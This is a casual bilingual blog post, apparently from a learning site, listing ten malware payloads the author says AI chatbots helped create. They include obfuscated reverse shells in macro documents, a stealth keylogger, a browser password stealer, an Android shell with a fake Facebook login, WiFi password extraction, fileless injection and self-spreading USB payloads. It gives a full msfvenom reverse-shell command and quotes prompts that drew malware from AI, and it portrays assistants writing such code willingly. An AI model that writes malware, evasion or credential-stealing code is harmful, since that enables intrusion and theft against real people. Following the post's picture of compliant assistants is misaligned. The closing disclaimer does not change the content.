Create Payloads Using AI? Read This Before You End Up on a List
Create Payloads Using AI? Let me tell you what no bootcamp, no YouTube guru, no late-night Discord nerd ever told me clearly: creating a payload is not just about writing some code and feeling cool. It’s like trying to untangle charger wires while blindfolded — in a thunderstorm — with your ex texting you. Bro. This thing will mess with your head.
Tbh, main bhi pehlay yeh sochta tha ke bas msfvenom chalao, kuch AI prompt likho, and boom — I’m a hacker now. But na. It ain’t like that. Payloads are dangerous, and if you’re using AI, they can become straight-up chaotic evil if you don’t understand what the hell you’re doing.
I learned it the hard way. Twice. First time? System crash. Second time? Router fried. Not even joking.
Okay but like—What Even Is a Payload?
So before we dive into all the AI wizardry, let’s first clear this mess. A payload is basically the part of malware that “delivers the damage”. Like… you know that final boss punch in an anime fight? That’s the payload.
It could be anything — stealing passwords, crashing your system, opening backdoors, etc. Bina proper structure ke, it’s like letting a dog loose in a fireworks warehouse. Fireworks toh hongi. But tum safe nahi hoge.
Why tf Did I Even Try This?
Larki ne bola “you’re good with computers right?” and suddenly I’m in a rabbit hole about reverse shells and remote access Trojans.
(Don’t judge me. We’ve all been there.)
But honestly, it was curiosity. Like that itch in your brain when you know something exists but the tutorials online either sugarcoat it or just don’t explain sh*t. So I thought, “Let’s figure this out — properly. With AI.”
Spoiler: I almost bricked my machine.
The Real Tea: You Can Create Dangerous Payloads Using AI Tools
Yeah, you heard it right. AI, jo log sirf Midjourney aur ChatGPT ke liye use karte hain — that same AI can help you craft advanced payloads agar sahi se pucha jaye. It’s scary… and fascinating.
I’ll walk you through 10 of the most insane, straight-up cyberpunk-level payloads you can create educationally using AI.
(Reminder again: I ain’t your lawyer. Scroll to the end for full disclaimer before you end up jailed over a blog post.)
1. Reverse Shell with GPT-Powered Obfuscation
This is like basic hacker 101 but on steroids. Instead of just doing:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > shell.exe
You can ask AI to obfuscate the code, embed it inside a doc or PDF, aur detection ko evade karne ka proper method de deta hai.
Real-life usage? School lab. Me and my friend tried it on our dummy VM. Result? Detection score = zero.
AI prompt: “Obfuscate this reverse shell in base64 and embed inside a macro-enabled doc”.
2. Keylogger Built in Python with AI Clean Comments
One time I asked GPT:
“Write me a stealth keylogger in Python with disguised variable names and minimal dependencies.”
Bro, it gave me THIS CLOSE to production-level code. Mujhe uss waqt samajh aya ke AI agar galat haathon mein gaya, toh bus dua hi kaam ayegi.
Tool for testing: Keylogger
3. AI-Modified Infostealer
It started as a joke. I said: “Hey GPT, write me a script that scans browser cache for saved passwords.”
It actually gave me one.
Of course, it was basic. But with little tweak, and adding Python modules like pycryptodome, it was able to mimic parts of known infostealers. Scary af.
4. Payloads Hidden in Images (Steganography x AI)
Tried using AI to write steganography scripts that embed scripts inside image files. Bro… this is like hiding nukes inside your fridge magnets.
Tool I used: stegosuite
5. AI-Assisted Android Payload with Embedded Social Engineering
Payload tha basic: reverse shell for Android. But GPT ne usme ek idea de diya — “Add fake Facebook login screen to distract the user.”
It wrote the XML code itself.
At this point, main literally mic drop karne wala tha.
6. WiFi Credentials Extractor (Windows) via AI Script
On my cousin’s laptop, we tested this AI script jo har saved WiFi ka password extract karta and dumps to .txt.
GPT ne itna clean code diya tha ke mujhe doubt aya ye legit hi hai ya NSA ka spy tool.
Command:
netsh wlan show profileAur uske baad full scripted extraction.
7. AI Tool for Fileless Payloads (Using Memory Injection)
Heard of “fileless malware”? I asked GPT to build a script that executes shellcode directly into memory using PowerShell.
And bro… it actually gave a starting structure. Not working on first try, but with Invoke-ReflectivePEInjection we got it rolling.
8. USB Auto-Execution Payloads (aka Rubber Ducky Stuff)
So we tested it on a cheap USB. With AI’s help, I generated Ducky Script ke new versions, like auto-opening browsers and executing PowerShell in background.
Tool: Hak5 USB Rubber Ducky
9. AI-Driven Payload Generator (like ChatGPT for Malware)
There’s a GitHub project jahan AI fine-tuned models generate payloads based on context. I tested one clone of it from GitHub, and it made me rethink everything.
Tool: AI
10. Auto-Spreading Payload with AI Recommendations
I asked GPT: “How to make a payload that self-spreads via USB?”
It gave me a logic tree. Legit flowchart ke level ka answer.
Main hilla nahi, bas sochta raha: “Why tf did nobody explain this earlier?”
Bro but Seriously—Disclaimer Pehle Padhlo
Okay, listen. Real talk now.
⚠️ Educational Use Only ⚠️
This blog, its examples, and the linked tools are meant only for educational, research, and ethical hacking purposes — jaise penetration testing in safe, controlled environments (e.g. VMs, lab networks).
Kisi bhi illegal ya unauthorized usage ka zimma sirf aapka hoga. nowlearnsmart.com, main, ya koi bhi associated banda iske consequences ka zimmedar nahi hoga.
Agar aap payloads create karke kisi ka data chura rahe ho ya system break kar rahe ho without permission, you’re basically signing up for trouble. And no AI is gonna save you from handcuffs.
Final Thought @ 3:19am
Anyway.
This whole topic is wild and confusing, but fascinating af. I was THIS close to rage quitting when my first payload crashed my VM. But phir samajh aya — this ain’t just about code. It’s about mindset. About thinking like a hacker (not an attacker).
Start slow. Learn properly. Use VMs. Break things safely. And let AI assist you — not control you.
I’mma go reheat my chai now.
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Good luck if you’re tryna learn this too. Just don’t get yourself arrested.
Peace. 💕
